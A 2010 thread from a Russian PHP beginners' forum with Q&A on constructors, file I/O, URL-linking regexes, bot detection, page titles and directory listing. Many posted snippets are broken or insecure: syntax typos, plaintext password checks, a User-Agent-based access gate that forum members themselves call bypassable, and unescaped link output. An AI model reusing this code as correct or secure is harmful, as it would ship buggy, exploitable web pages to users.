3282. ramzes (07.06.10 / 22:22)
3307,
class MyClass{
function construct1(){}
function construct2(){}
function construct3(){}
function __construct($type=1){
switch($type){
case(2):
$this->construct2();
breack;
case(3):
$this->construct3();
breack;
defaul:
$this->construct1();
breack;
}
}

}
типа того?

3283. Jeka127 (07.06.10 / 22:40)
3309. ramzes,ну типа как в C++

3284. ramzes (07.06.10 / 22:46)
Конструктор и деструктор только один раз вызываются, как ты их несколько сделаешь? Только вариации на тему.
//с С++ не знаком.

3285. Azzido (08.06.10 / 00:20)
3307, не в красоте дело. (int) конструкция объявляющая тип переменной, intvаl же функция, следовательно (int) на несколько наносекунд быстрей,чем можно принебречь, однако если не один раз, а несколько сотен раз,можно увидеть существенную разницу в скорости.

3286. Alex555 (09.06.10 / 11:56)
Вот я сделал страницу на пхп.Загружаю на хост проверить выбивается какийта слова типа ошибка вроде все сделал по учебнику вот код страницы может чтото не правельно.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Untitled Document</title>
</head>
<body>
<?php
$name="александер";
$age=14;
echo"$name"
echo"<br>Avto";
echo"<br>моего друга зовут-$name,ему $age лет";
$a=10;
$c=$age+$n;
echo"<br>александру через 10 лет будет $c let ";
?>
</body>
</html>
Если не сложно гляньте.

3287. lugaro (09.06.10 / 12:00)
3313. Alex555, в echo"$name" пропустил ;

3288. Alex555 (09.06.10 / 12:02)
3314. .::lugaro::., Точно спосибо!!!!!!

3289. Jeka127 (09.06.10 / 13:17)
3311. ramzes, Ну в C++ можно делать несколько конструкторов только с разным количеством параметров.
<?php
function __construct($all,$pnumber,$query='')
{
$this->all=$all;
$this->pnumber=$pnumber;
$this->query=$query;
}

function __construct($all,$query='')
{
$this->all=$all;
$this->query=$query;
}


Тип такого....

3290. ramzes (09.06.10 / 13:20)
В чем смысл то? Конструктор нужен для автоматического исполнения кода при запуске, сколько надо кода только и пиши в нем.
Вообще за две одноименные функции пхп пошлет подальше).gif

3291. NightStalker (09.06.10 / 20:20)
3317. ramzes, в php нeт пepeгpузkи фунkций?

3292. Jeka127 (09.06.10 / 21:19)
3318. NightStalker, я о том же. Просто есть два класса. Основной и класс навигации и вот хочу слить их в один.

3293. Maksim (09.06.10 / 22:25)
).gif пхп вообще пока не полностью обьектно орентированый язык, много чего не хватает... Насчет нескольких конструкторов, то да, по умолчанию создаеться конструктор(без аргументов) если он не указан. А несколько конструкторов в некоторых случаях тоже помогают избежать дублирования кода(например при вызове конструктора из конструктора).
ПС: все эт к ява относиться, пхп такими обширными возможностями не обладает скорее всего перегрузка метода тоже отсутствует

3294. BLANSH (09.06.10 / 23:28)
Помогите пожалуйста: не удаляютса файлы с рускими названиями. Удаляю функцией unlink() выдает ошибку типа файл не найден. Файлы с латинскими названиями удаляет.

3295. Exwap (09.06.10 / 23:54)
А ты кагбэ не знал, что не рекомегдуется работать с названиями файлов в кириллице? php файл сохрани в cp2151 и тогда может поможет. А если надо снести файл один какой-то, то через фтп снеси и не парься.

3296. ramzes (10.06.10 / 00:11)
20, вроде есть перезагрузка методов то..
21 unlink(urlencode($file)); попробуй. А вообще по моему надо бить по голове за русские буквы в именах файлов).gif

3297. BLANSH (10.06.10 / 12:09)
Ребята спасибо огромное! Меня ток по голове сильно не бейте, я ж новичек. ).gif Так получаетса, что есть допустим фотогалерея, или обменник, и что надо запретить юзерам загружать файлы с рускими названиями? Все равно прийдетса удалять их, а фтп мне кажетса здесь уже не выход

3298. Azzido (10.06.10 / 12:51)
файлы просто имеют не то название что ты видишь Файл.txt , а скорей всего в юникоде http://mikhail.krivyy.com/2004/10/09/unicode-russian/ тоесть так 0×04240×04300×04390×043B.txt или даже возможно в utf-8, поэтому unlink надо делать именно по такому символьному представлению, вот только utf-8 что то таблицу не нашел, впринципе можно с русскими названиями хранить если перекодировать соответственно этой таблице названия

3299. BLANSH (10.06.10 / 14:37)
так я непойму, как эту таблицу использовать? Как с ее помощу перекодировать? И еще вопрос: как сделать чтоб когда в гостевой например вводиш http://site.ru выводило как ссылку? Вроде с помощу бб кодов. А как именно, напишите код плис

3300. KOZZ (10.06.10 / 14:55)
26,там регулярку можно, можно дополнительно бб коды сделать

3301. KOZZ (10.06.10 / 15:33)
26,
<?
$text=preg_replace(«#http://[^<\s\n]+#»,’<a href=»\\0″>\\0</a>’,$text);
?>

в регулярках не шарю, поэтому копипаст с какого - то форума

3302. ramzes (10.06.10 / 16:36)
3324, if(preg_match('/^[a-z\d\-_\(\)] \.(gif|png|bmp|jpg|jpeg)$/i', $upload_image, $extension)){
if($extension[1]!=''){
ok
}
}
попробуй).gif
Подсветка ссылок, че то типа того: $msg = preg_replace('/((https?|ftp):\/\/[a-z\d\-] \.[a-z\d\-_\.\?\(\)\[\]\/&=%] )/i', '<a href="\1">\1</a>', $msg); только с дороги, так что если где ошибка, сильно не бить).gif

3303. BLANSH (10.06.10 / 22:16)
спасибо, а все это надо использовать при записи в файл, или при отображении?

3304. Atuwap (11.06.10 / 06:02)
Как можно найти узер агент робота? Нужен узер агент всех поискавиках

3305. Fuelen (11.06.10 / 08:29)
^в поисковиках и ищи))

3306. ramzes (11.06.10 / 15:10)
if(stripos($_SERVER['HTTP_USER_AGENT'], 'yandex')){
bot
}elseif(stripos($_SERVER['HTTP_USER_AGENT'], 'google')){
bot
}elseif(stripos($_SERVER['HTTP_USER_AGENT'], 'mail.ru')){
bot
}elseif(stripos($_SERVER['HTTP_USER_AGENT'], 'rambler')){
bot
}elseif(stripos($_SERVER['HTTP_USER_AGENT'], 'msn.com')){
bot
}elseif(stripos($_SERVER['HTTP_USER_AGENT'], 'aport')){
bot
}else{
user
}
какие сходу вспомнил).gif

3307. NightStalker (11.06.10 / 17:52)
3333. ramzes, a cмыcл? Зaчeм kaждoгo бoтa oтдeльнo? Toka для cтaтиcтиkи ecли

3308. Atuwap (11.06.10 / 17:59)
3333. ramzes, гы у тебя зеркальное пост 3333). stripos ето поиск по строке?
я хочу сделать так: если узер и робот то можно если гость то нелзя. Ето для мотора. Как етот код??


if ($provlog==$_SESSION['log'] && $provpar==md5($_SESSION['par']) && $_SESSION['log']!="" && md5($_SESSION['par'])!=""){
}else{

if (stripos($_SERVER['HTTP_USER_AGENT'],'aport') || stripos($_SERVER['HTTP_USER_AGENT'],'mail.ru') || stripos($_SERVER['HTTP_USER_AGENT'],'google') || stripos($_SERVER['HTTP_USER_AGENT'],'yandex') || stripos($_SERVER['HTTP_USER_AGENT'],'rambler') || stripos($_SERVER['HTTP_USER_AGENT'],'msn.com')){

СТРАНИЦА для узерам и ботам

}else{echo'Надо быть робот или регайся<br/>';
}


3309. Atuwap (11.06.10 / 18:13)
Или вот так:

if (stripos($_SERVER['HTTP_USER_AGENT'],'aport') || stripos($_SERVER['HTTP_USER_AGENT'],'mail.ru') || stripos($_SERVER['HTTP_USER_AGENT'],'google') || stripos($_SERVER['HTTP_USER_AGENT'],'yandex') || stripos($_SERVER['HTTP_USER_AGENT'],'rambler') || stripos($_SERVER['HTTP_USER_AGENT'],'msn.com') || $provlog==$_SESSION['log'] || $provpar==md5($_SESSION['par'])){


СТРАНИЦА ДЛЯ УЗЕРАМ И РОБОТАМ

}


3310. ramzes (11.06.10 / 18:36)
3334, лучше отдельно их фиксировать, просто удобнее знать какой наук сайт любит а какой нет.
Да и вообще для статистики).gif
3335, не видел).gif просто стандартный подход. Да это нахождение позиции в строке (регистронезависимый поиск).
3336, плохой код. Я в юзер агенте напишу что я гугл и буду спамить весь сайт например. Не говоря о том что в этом коде проверка Авторизации не верная, достаточно только логина, без пароля что бы под любым ником зайти.

3311. Jeka127 (11.06.10 / 20:43)
Всем привет. Подскажите пожалуйста как вычислить абсолютный путь до корня, где установлен скрипт?

3312. Juse (11.06.10 / 20:51)
3338. echo $_SERVER['DOCUMENT_ROOT']; в любой папке, покажет обсалютный путь до корня...

3313. Juse (11.06.10 / 20:54)
...:-)

3314. BLANSH (11.06.10 / 21:12)
Люди, можете доходчиво обьеснить, как это функция обратного вызова?

3315. Jeka127 (11.06.10 / 21:27)
3339. Juse, не так понял. Мне нужно не от сервера до корня, а от исполняемого скрипта да корня....
корень /
скрипт /.../.../index.php
Путь /папка/папка/index.php
Как получить этот путь относительно папки, где установлен скрипт.

3316. Jeka127 (11.06.10 / 21:30)
3341. BLANSH, http://ru.wikipedia.org/w/index.php?title=Callback_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)
Callback (фу́нкция обра́тного вы́зова)

3317. Jeka127 (11.06.10 / 21:31)
3341. BLANSH, [url=http://www.google.ru/search?hl=ru&lr=lang_ru&newwindow=1&safe=off&tbs=lr:lang_1ru&q=%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F+%D0%BE%D0%B1%D1%80%D0%B0%D1%82%D0%BD%D0%BE%D0%B3%D0%BE+%D0%B2%D1%8B%D0%B7%D0%BE%D0%B2%D0%B0+%D0%B2%D0%B8%D0%BA%D0%B8&aq=f&aqi=&aql=&oq=&gs_rfai=)]Callback (фу́нкция обра́тного вы́зова)[url]

3318. Jeka127 (11.06.10 / 21:32)
Блин, видимо есть недачёт в BBcode

3319. Fuelen (11.06.10 / 22:31)
ilNIle (Сегодня / 20:27)
3339. Juse, не так понял. Мне нужно не от сервера до корня, а от исполняемого скрипта да корня....
корень /
скрипт /.../.../index.php
Путь /папка/папка/index.php
Как получить этот путь относительно папки, где установлен скрипт.

http://ua.php.net/manual/en/function.realpath.php

3320. Alex555 (14.06.10 / 12:45)
Какая фунция делает запись в файле .Ну типа я хочю сделать форум на файлах что мне нужно сделать штоб сообщения темы записывались .

3321. Apeccc (14.06.10 / 12:47)
3347. Alex555, fwrite();

3322. Alex555 (14.06.10 / 12:50)
3348. Apeccc_KingsDom, спосибо.

3323. Apeccc (14.06.10 / 12:51)
3349. Alex555, не за что. Дальше сам разберешься?

3324. Alex555 (14.06.10 / 12:55)
3350. Apeccc_KingsDom, погуглил нашол чтото но пака не в понятках.

3325. Apeccc (14.06.10 / 12:58)
3351. Alex555, для начала производится открытие файла функцией fopen(); ,запись и его закрытие функцией flock();

3326. Azzido (14.06.10 / 13:07)
3352, fclose(); ).gif flock(); это исключительное запирание ).gif

3327. Apeccc (14.06.10 / 13:08)
3353. Azzido, верно. Ошибся

3328. Alex555 (14.06.10 / 13:08)
3352. Apeccc_KingsDom, о не штото я слишком большую для себя вершыну решил взять есть какие нибуть видео уроки как сделать свой первый форум штоб все расказывалось.

3329. Apeccc (14.06.10 / 13:10)
3355. Alex555, почитай тут demiart.ru/forum/index.php?showtopic=99369

3330. Azzido (14.06.10 / 13:11)
3355, это вершина??!! Это проще некуда, тебе все го лишь прочитать внимательно надо а не быдловские видеоуроки смотреть. ).gif http://visavi.net/index.php?p=php&f=php37& прочитай желательно весь учебник от и до http://visavi.net/index.php?p=php&

3331. Apeccc (14.06.10 / 13:13)
3357. Azzido, лучше книжку купить и все дела..

3332. Alex555 (14.06.10 / 16:31)
3357. Azzido, дa тут читaть и читaть.

3333. Azzido (14.06.10 / 16:42)
3359, разве это много? Конкретно для файловой системы тебе достаточно страниц 10 прочитать.

3334. Alex555 (14.06.10 / 17:15)
3360. Azzido, мнe нужeн примeр .

3335. HitLow (14.06.10 / 18:18)
Пример всего кода?=))

3336. Alex555 (14.06.10 / 18:21)
3362. Rezent aka NeForMat, дa и жeлaтeльно с комeнтaриями.

3337. HitLow (14.06.10 / 18:30)
Нет слов одни эмоции obana.gif Иди в архив скриптов там в раздел форумы и вот тебе код только без комментариев... И вообще, читай книжки, копайся=) начинай с простого, А не тупой копи-паст чьего то труда. vtopku.gif

3338. Alex555 (14.06.10 / 18:54)
3364. Rezent aka NeForMat, я нe буду копировaть код мнe штоб знaть что зa чeм a тaм сaм ужe.

3339. Azzido (14.06.10 / 19:00)
<?php
$filename = 'test.txt';
$somecontent = "Добавить это к файлу\n";

// Вначале давайте убедимся, что файл существует и доступен для записи.
if (is_writable($filename)) {

// В нашем примере мы открываем $filename в режиме "дописать в конец".
// Таким образом, смещение установлено в конец файла и
// наш $somecontent допишется в конец при использовании fwrite().
if (!$handle = fopen($filename, 'a')) {
echo "Не могу открыть файл ($filename)";
exit;
}

// Записываем $somecontent в наш открытый файл.
if (fwrite($handle, $somecontent) === FALSE) {
echo "Не могу произвести запись в файл ($filename)";
exit;
}

echo "Ура! Записали ($somecontent) в файл ($filename)";

fclose($handle);

} else {
echo "Файл $filename недоступен для записи";
}
?>


3340. Azzido (14.06.10 / 19:01)
Какие ленивые люди пошли, лень посмотреть пример в готовых скриптах и почитать учебник.....

3341. Alex555 (14.06.10 / 19:56)
3366. Azzido, тa я читaл учeбники но тaм тa нeту примeрa a кгодa нeт примeрa у мeня клин.Спосибо зa примeр.

3342. Azzido (14.06.10 / 20:27)
Этот пример я скопировал из учебника, если что.

3343. AxqpxA (14.06.10 / 23:51)
Есть такой вопрос по ооп!
Если у меня метод приватный, есть ли необходимость указывать что все объекты которые будут использованны в методе приватные?
или же если метод приватный, то и все объекты в нем приватные?

3344. AxqpxA (15.06.10 / 00:04)
точней не объекты а свойства! че то попутал их!

3345. Maksim (15.06.10 / 12:59)
только метод приватный если явно не указано что обьекты прив.

3346. Lex (16.06.10 / 22:46)
Есть вопрос по php и html.
Вобщем есть фиксированыый набор вариантов выбора в форме html
<select name="pole">
<option value="1">Название1</option>
<option value="2">Название2</option>
<option value="3">Название3</option>
</select>
и при редактировании информации известно нынешнее значение pole. Как сделать чтобы по автомату
был выбран вариант в соответствии с существующим значением?
P.S. я знаю что чтобы сделать вариант активным надо дописать selected, меня интересует как написать алгоритм, чет никак не могу сообразить

3347. Maksim (16.06.10 / 23:25)
<form action="" method="post">
<select name='cur'>
<?if(!$_SESSION['BX_USER_CURRENCY']||!$_SESSION['BX_USER_CURRENCY']=='default')?>
<option selected value="default">по умолчанию</option>
<? foreach($arResult['CUR_LIST'] as $currency):?>
<option <?if($_SESSION['BX_USER_CURRENCY']==$currency['CURRENCY']) echo "selected";?> value='<?=$currency['CURRENCY'];?>'><?=$currency['FULL_NAME'];?></option>
<?endforeach;?>
</select>
<input type=hidden name="change_c" value="Y">
<input type="submit" value="Выбрать" name="ok">
</form>

Может пригодиться).gif

3348. Lex (16.06.10 / 23:31)
Спасибо конечно, но насколько я понял у тебя варианты динамически создаются

3349. Aligan (17.06.10 / 03:41)
Создай массив, где храни эти данные по принципу name(option) => value.
Для их вывода используй foreach, в теле цикла ставь условие в котором сравнвай заранее известное значение с каждой итерацией цикла, если иситино, то переменой $selected присваивой значение selected, в остальном сбрасывай значение переменой

3350. Lex (17.06.10 / 11:55)
спасибо

3351. NightStalker (17.06.10 / 19:48)
Мoжнo вoпpoc пo cron. 1. Нa eгo выпoлнeниe юзep нe влияeт? Ecли юзep будeт oбнoвлятьcя, a cron - paз в минуту. 2. Cильнo ли oн гpузит cepвep?

3352. -WriteR- (18.06.10 / 00:43)
Ребят, подскажите пожалуйста, как сделать развернутую ссылку, ну чтоб когда нажал на неё, страница обновилась и под этой ссылкой было то, что мне нужно. Пример как на форуме хваб.ру

3353. ramzes (18.06.10 / 01:44)
<?php
if(isset($_GET['openlist'])){
echo'page is open<br /><a href="?">[x]</a>';
}else{
echo'page closed<br /><a href="?openlist">[+]</a>';
}
?>


3354. -WriteR- (18.06.10 / 14:42)
ramzes (Сегодня / 01:44)
<?php
if(isset($_GET['openlist'])){
echo'page is open<br /><a href="?">[x]</a>';
}else{
echo'page closed<br /><a href="?openlist">[+]</a>';
}
?>

Спасибо).gif

3355. Mr-General (21.06.10 / 12:14)
Помогите вывести посл. дату

Надо вывести время, сколько пользователь уже не в онлайне.

есть переменная $onl - онлайн юзера, я сделал

[color=#00cc00]if [/color]($onl + 300 > [color=#0000ff]time()[/color])
{
[color=#0000ff]echo[/color] ' [color=#00cc00](ON)[/color] <br/>';
} [color=#00cc00]else[/color] {
[color=#0000ff]echo[/color] ' [color=#ff0000](OFF)[/color] <br/>';
}

вот рядом с (OFF) надо вывести столько он уже времени в оффе. И есть переменная $visit - время последнего визита в дд-мм-гггг:чч:мм:сс я так понимаю надо его отнять от текущей даты? но не представляю как, подскажите кто знает.

3356. Azzido (21.06.10 / 12:21)
насколько я понял time()-$onl получим сколько секунд в оффе

3357. Mr-General (21.06.10 / 15:03)
Не все так просто к сожелению. Ну тоесть оно то выведет секунды, но они так и до миллиардов считатся могут, может подскажешь как записать в минутах и часах?

3358. Azzido (21.06.10 / 15:11)
<?php
$time_offline=time()-$onl;
$ondays=floor($time_offline/86400);
$onhours=floor(($time_offline/3600)-$ondays*24);
$onmins=floor(($time_offline-$onhours*3600-$ondays*86400)/60);
$onsecs=$time_offline-($onmins*60+$onhours*3600+$ondays*86400);

echo 'Пребывание в оффлайне: '.$ondays.'д. '.$onhours.'ч. '.$onmins.'м. '.$onsecs.'с.';
?>


3359. Mr-General (21.06.10 / 15:19)
Во Azzido то что надо ) не смотря на то что я туплю, помоги если не сложно вставить его теперь чтобы время оффлайна считалось и показывалось только при :


if ($onl + 300 > time())
{
echo ' (ON) <br/>';
} else {
echo ' (OFF) <br/>';
}


если офф

3360. Azzido (21.06.10 / 22:15)

<?php
if($onl +300>time()){
echo '(ON)<br/>';
}else{

$time_offline=time()-$onl;
$ondays=floor($time_offline/86400);
$onhours=floor(($time_offline/3600)-$ondays*24);
$onmins=floor(($time_offline-$onhours*3600-$ondays*86400)/60);
$onsecs=$time_offline-($onmins*60+$onhours*3600+$ondays*86400);

echo 'Пребывание в оффлайне: '.$ondays.'д. '.$onhours.'ч. '.$onmins.'м. '.$onsecs.'с.';

echo '(OFF)<br/>';
}
?>


3361. Mr-General (21.06.10 / 23:43)
НЕ так не пашет )) дело в том, что оно считает время даже когда юзверь в онлайне, например я в онлайне 5 минут потом ушел в офф, и оффлайн время уже с 5ти минут считается )) а так само время считает норм

3362. Azzido (21.06.10 / 23:46)
3388, я не знаю откуда бепется переменная $onl

3363. Azzido (22.06.10 / 08:14)
берётся*

3364. Atuwap (22.06.10 / 18:45)
Как устанавить пароль на файлах?
|текст|текст|пароль|
на ячейку 3 устанавит пароль. Если там пароль доступ закрыто. Надо выводить пароль патом зайти. Если пароль нето то можно зайти

3365. KOZZ (22.06.10 / 18:57)
для чтения из файла делай так:
======================
если в файле file.txt 1 строка:
<?
$f = file_get_contnents('file.txt');
list($text1,$text2,$pass) = explode('|',$f);
?>

это если в файле file.txt несколько строк:
<?
$f = file('file.txt');
list($text1,$text2,$pass) = explode('|',$f[строка файла,отсчет с 0]);
?>


3366. Atuwap (22.06.10 / 20:29)
3392. Грубиян, Разбивать строку на подстроки explode я знаю на моторе полно такие функции.

$qiiq = file("fayl.dat");
foreach($qiiq as $value){
$data=explode("|",$value);

echo'data[2]';

$pass=$data[2]
мне нужен проверка пароль на data[2]

if ($pass=="1234"){
тебе можно
}else{
катис отсуда
}

3367. Atuwap (22.06.10 / 20:50)
Надо чтобы проверял если там дата[2] не пуста то показал форму инпут.
Типо так:

<form action='?id=pr' method='post'>ведите пароль: <br/><input type='password' name='pass'/><br/><input type='submit' value='зайти'/><br/>
потом:
$pass=$_POST['pass']
if($pass==1234){
чтото вроде так. Или пароль с мд5 ом.
Или setcookie создать чтоли. Кто знает ?

3368. Atuwap (22.06.10 / 20:53)
$pass=$_POST['pass'];
if(htmlspecialchars($_GET['id'])=='pr'){
if($pass==$12345){
тебе можно))

3369. Mr-General (23.06.10 / 01:50)
мб


$pass = 12345;

if (!isset($_POST['pass'])) {
$pass = $_GET['pass'];
}
else
{
$pass = $_POST['pass'];
}
if ($pass !== $pass) {

echo '<form method = "post" action = "pass.php?">
Пароль:<br/>
<input name = "pass" type = "password"/><br/>
<input type = "submit" value = "OK"/></form>';
}
echo 'Тебе сюда можна';
....блаблабла
} else {
echo 'Низя :) ';
break;
}
}


3370. Exwap (23.06.10 / 02:29)
Ого ты велосопедист... При приеме данных другое имя для переменной возьми..

3371. Mr-General (23.06.10 / 04:41)
На скорую руку велосипеды лучше получаются D.gif

3372. ramzes (23.06.10 / 06:00)
Твой велосипед с места не сдвинется))

3373. Shift (23.06.10 / 07:21)
<?
if ($pass !== $pass) {
}
?>

Да тут даже не велосипед... инвалидная коляска..

3374. Mr-General (23.06.10 / 11:30)
Сдвинеццо ) у мя работает, ток переменную случайно одинаковую написал )

3375. ramzes (23.06.10 / 14:31)
Вот потому что переменные одинаковые и не сдвинется).gif

3376. Ant333 (25.06.10 / 10:01)
Где можна написать сайт тока без инструкторов ? ? ?

3377. lugaro (25.06.10 / 10:06)
3403. Ant333, в обычном текстовом редакторе =)

3378. Playa (25.06.10 / 10:55)
Ant333 (Сегодня / 10:01)
Где можна написать сайт тока без инструкторов ? ? ?

ну если такой вопрос... то без инструктора тебе точно никуда. а так на комп Notepad++ для начала)

3379. HitLow (27.06.10 / 18:22)
Может кто подсказать\помочь как сделать динамические заголовки. Т.е. как к примеру тут в <title> написано название темы и т.п.
За хорошую помощь и разъяснения могу денег на телефон кинуть))

3380. NightStalker (27.06.10 / 18:31)
3406. Rezent aka NeForMat, есть костанта title='название сайта' и
$sub_title переменная
на каждой странице присваиваиваешь новое значение sub_title в самом начале перед выводом html и пишешь

$title = title;
if(isset($sub_title))
$title = $sub_title.' - '.title;
echo '<html><title>'$title.'</title></html>'
типа так

3381. mocart (27.06.10 / 18:34)
3407. NightStalker, эхх, синтаксических ошибок сколько...).gif

3382. lugaro (27.06.10 / 18:38)
Можно к примеру так
В самом верху

<?
function title($html)
{
global $title;
$html = preg_replace('#<title>(.*?)</title>#si', '<title>' . $title . '</title>', $html);
return $html;
}
ob_start(title);

и в самом низу


ob_end_flush();

А по середине в любом месте в переменную $title забиваешь заголовки

3383. lugaro (27.06.10 / 18:41)
Можно даже без регулярки обойтись, при условии что начальное значение между <title> и </title> знакомо

3384. HitLow (27.06.10 / 18:41)
[Delete]

3385. lugaro (27.06.10 / 18:43)
Делай как я написал и сможеш с середины задавать

3386. HitLow (27.06.10 / 18:43)
3409. .::lugaro::., Спасибо. Щас посмотрим что куда и как.

3387. NightStalker (27.06.10 / 18:44)
3408. mocart, ну немножко может быть ).gif

3388. Atuwap (27.06.10 / 19:27)
3412. .::lugaro::., а как сделать ето для мотора?

3389. NightStalker (27.06.10 / 19:35)
3410. .::lugaro::., xм. A мoй вapиaнт быcтpee. Tы гдe видeл тakoe дoбaвлeниe зaгoлoвkoв? Нeoпpaвдaннaя нaгpузka нa ckpипт

3390. ramzes (27.06.10 / 19:38)
str_replace('</title>', ' - '.$subtitle.'</title>',
так удобнее будет.
3415 надо переписывать ядро скинов и все страницы движка. В нем не заложено этого.

3391. lugaro (27.06.10 / 19:43)
3417. ramzes, действительно, что-то протормозил я с регуляркой %)

3392. HitLow (27.06.10 / 19:53)
Если вот так
<?
function title($html){
global $title, $config;
$html = str_replace('</title>', ''. $title .' - '.$config['title'].'</title>');
return $html;
}
ob_start('title');

Вообще не работает=)
И еще фигня какаето, если просто вывести страницу с фун-ей и ниже задать переменную то все норм работает. Добавил это в свои срипты нефига не работает cry.gif что может помешать?

3393. NightStalker (27.06.10 / 19:56)
3417, ну kpутo! Aтo я kak пpeдcтaвил пpoбeг cтpaницы чepeз peгуляpkу. Ужac!

3394. lugaro (27.06.10 / 19:57)
в str_replace должен быть 3 параметр, у тебя он не задан

3395. HitLow (27.06.10 / 19:59)
Ступил...То то я смотрю белая страница=)
Да и все равно не работает(

3396. NightStalker (27.06.10 / 20:05)
3422, ты фaйл c фунkциeй пoдkлючил?

3397. HitLow (27.06.10 / 20:06)
3423. NightStalker, Конечно D.gif D.gif Он у меня по всему двигу включается=)
Терь вообще висняк =( Раньше без двига работал, а теперь и просто на странице где только функция тоже не фурычит

3398. NightStalker (27.06.10 / 20:10)
3424. Rezent aka NeForMat, пpoвepь paбoту фунkции. Нaпиши return 'test'; в koнцe

3399. HitLow (27.06.10 / 20:13)
Вывел test на белой странице

3400. ramzes (27.06.10 / 20:42)
<? function title($html){    global $subtitle;
$html = $str_replace('</title>', ' - '.$subtitle.'</title>', $html);
return $html;
}
$subtitle = 'this test page';
ob_start('title');
echo'<title>'.$config['title'].'</title>';
end_ob_flush();
?>

типа того. Ошибки синтаксиса были

3401. HitLow (27.06.10 / 21:15)
Не работает =(

3402. ramzes (27.06.10 / 21:56)
$str_replace убери знак $, не увидел эту ошибку))

3403. HitLow (27.06.10 / 23:01)
Хз..Что то конфликтует в двиге=( Чисто такой код работает норм...а вот в двиге не хочет... С чем может конфликтовать??

3404. AxqpxA (27.06.10 / 23:03)
Rezent aka NeForMat (Сегодня / 23:01)
Хз..Что то конфликтует в двиге=( Чисто такой код работает норм...а вот в двиге не хочет... С чем может конфликтовать??

А что пишет?

3405. HitLow (27.06.10 / 23:12)
Вообще не чего. т.е. стоит вот так <title>'.$config['title'].'</title> потом в коде присваивается название. А он пишет только значение $config['title']

3406. Atuwap (27.06.10 / 23:15)
а тогда что за функции на моторе?? может здес исправить надо??


function site_title($string) {
global $config_title;

$position=$config_title;

$file = file(BASEDIR."local/headlines.dat");
if ($file!=""){
foreach($file as $value){
$line = explode("|",$value);

if ($string=='/'.$line[1]){$position.=' - '.$line[2]; break;}

}}

return $position;
}


3407. HitLow (27.06.10 / 23:18)
А что тебе надо?? ТАм титлы прописаны в файле. Можно заменить на фун-ию что выше писали потом на каждой странице переменныйе писать, а в темах название титла

3408. HitLow (28.06.10 / 01:08)
Может кто знает в чем проблема?(

3409. sarmat30 (28.06.10 / 10:55)
Здравствуйте,у меня такая проблема,поставил к.клуб,всё нормально только есть одна проблема,время отображает на 4 часа вперёд,кто знает где его нужно настроить в скрипте или БД и как?напишите пожалуйста,зарание спасибо.

3410. ramzes (28.06.10 / 14:44)
Это в хитаччессе укажи временную зону свою. Код точно не помню, тут тема есть настройка с помощью хитаччесс, вот в ней глянь код

3411. HitLow (28.06.10 / 16:40)
В хитачесе пропиши php_value date.timezone "Europe/Moscow"
С моей проблемкой поможет кто разобраться?)

3412. Azzido (28.06.10 / 16:46)
php_value date.timezone Europe/Moscow не надо кавычек

3413. lugaro (28.06.10 / 17:00)
3435. Rezent aka NeForMat, включай вывод ошибок и смотри что конфликтует

3414. HitLow (29.06.10 / 22:01)
3440. .::lugaro::., Поставлен фулл вывод ошибок..Всегда так пишу...Нету ошибок=(

3415. HitLow (29.06.10 / 22:02)
3439. Azzido, особого значание нету

3416. mocart (04.07.10 / 16:54)
Помогите оптимизировать код
Суть
Есть числа 1-20
Если выподает 1, тогда вытягиваем числа 6,11,16 (к каждому +5) и проверить если есть число 6 в массиве, заносим его в другой массив, если есть 11 и его заносим, и также с 16 и т.д.
Если 2 то 7,12,17 и т.д.
Начинаю городить:

<?php
function array_y($num,$array){
$itog=array();
if($num==1){
if(in_array($num+5,$array))
$itog[]=$num+5;
if(in_array($num+10,$array))
$itog[]=$num+10;
if(in_array($num+15,$array))
$itog[]=$num+15;
}
elseif($num==2){
//...
}
//Получается забор, можна ли как нибудь оптимизировать? В голову ничего не приходит:) ))
}
?>


3417. Fuelen (04.07.10 / 17:18)
3443,

<?php
function array_y($num, $array) {
$result = array();
for($i = ($num+5); $i <= 20; $i+=5) {
if(in_array($i, $array)) {
$result[]=$i;
}
}
return $result;
}


3418. mocart (04.07.10 / 17:23)
344, в том то и проблема, что если $num>5 тогда результат будет только 2 числа, а если $num>10 то 1 число, те что спереди, а надо 3(.gif

3419. Fuelen (04.07.10 / 17:42)
3445. mocart, не знаю зачем тебе это... Мож это спасёт?
if($num > 5) {
$num -= 5;
}elseif($num > 10) {
$num -= 10;
}

3420. mocart (04.07.10 / 18:18)
У меня тоже много чего спрашивают, и не понимаю зачем им это...
Как код то спасает

3421. NightStalker (04.07.10 / 18:20)
3445. mocart, мeня б зa тakoй koд c if-aми в лaбe пpeпoд бы нa мecтe убил D.gif

3422. mocart (04.07.10 / 18:44)
3448, D.gif Лан, разобрался).gif ))

3423. FlySelf (04.07.10 / 19:39)
NightStalker (4 Июля 2010 / 18:20)
3445. mocart, мeня б зa тakoй koд c if-aми в лaбe пpeпoд бы нa мecтe убил D.gif

а вы там без ифов пишите?)

3424. mides (05.07.10 / 13:01)
Есть папка с файлами, нужно вывести их названия на страницу, как с помощью php это организовать, подскажите, пожалуйста.

3425. KOZZ (05.07.10 / 13:23)
51,
<?
function list_dir ($dirname){
if(file_exists($dirname)){
$d = opendir($dirname);
while($f = readdir($d)){
if($f{0}!== '.' && $f{0}!== '..'){
if(is_file("$dirname/$f")){$format = '(файл)';}elseif(is_dir("$dirname/$f")){$format = '(папка)';}
echo $f.' '.$format.'<br/>';
}}}
closedir($d);}
// пример использования:
echo list_dir('1');
?>


3426. mides (05.07.10 / 13:52)
3452. eGo, спасибо ).gif не подскажешь еще как отсортировать по номеру? у меня названия файлов 1,2,3... если ставить asort то выходит 1,10,100,2,20,200 и т.д., а нужно 1,2,3... и как выводить файлы только определенного формата

3427. KOZZ (05.07.10 / 13:59)
53,

<?
function ext($var){
return $ext=pathinfo($var, PATHINFO_EXTENSION);}

function list_dir ($dirname){

if(file_exists($dirname)){
$d = opendir($dirname);
while($f = readdir($d)){
if($f{0}!== '.' && $f{0}!== '..'){
if(is_file("$dirname/$f")){$format = ext("$dirname/$f");}elseif(is_dir("$dirname/$f")){$format = 'папка';}
if($format == 'mp3'){
echo $f.' ('.$format.')<br/>';
}}}}
closedir($d);}
// пример использования:
echo list_dir('1');

?>

под себя уже жумаю доделаешь.
для сортировки - natsort()

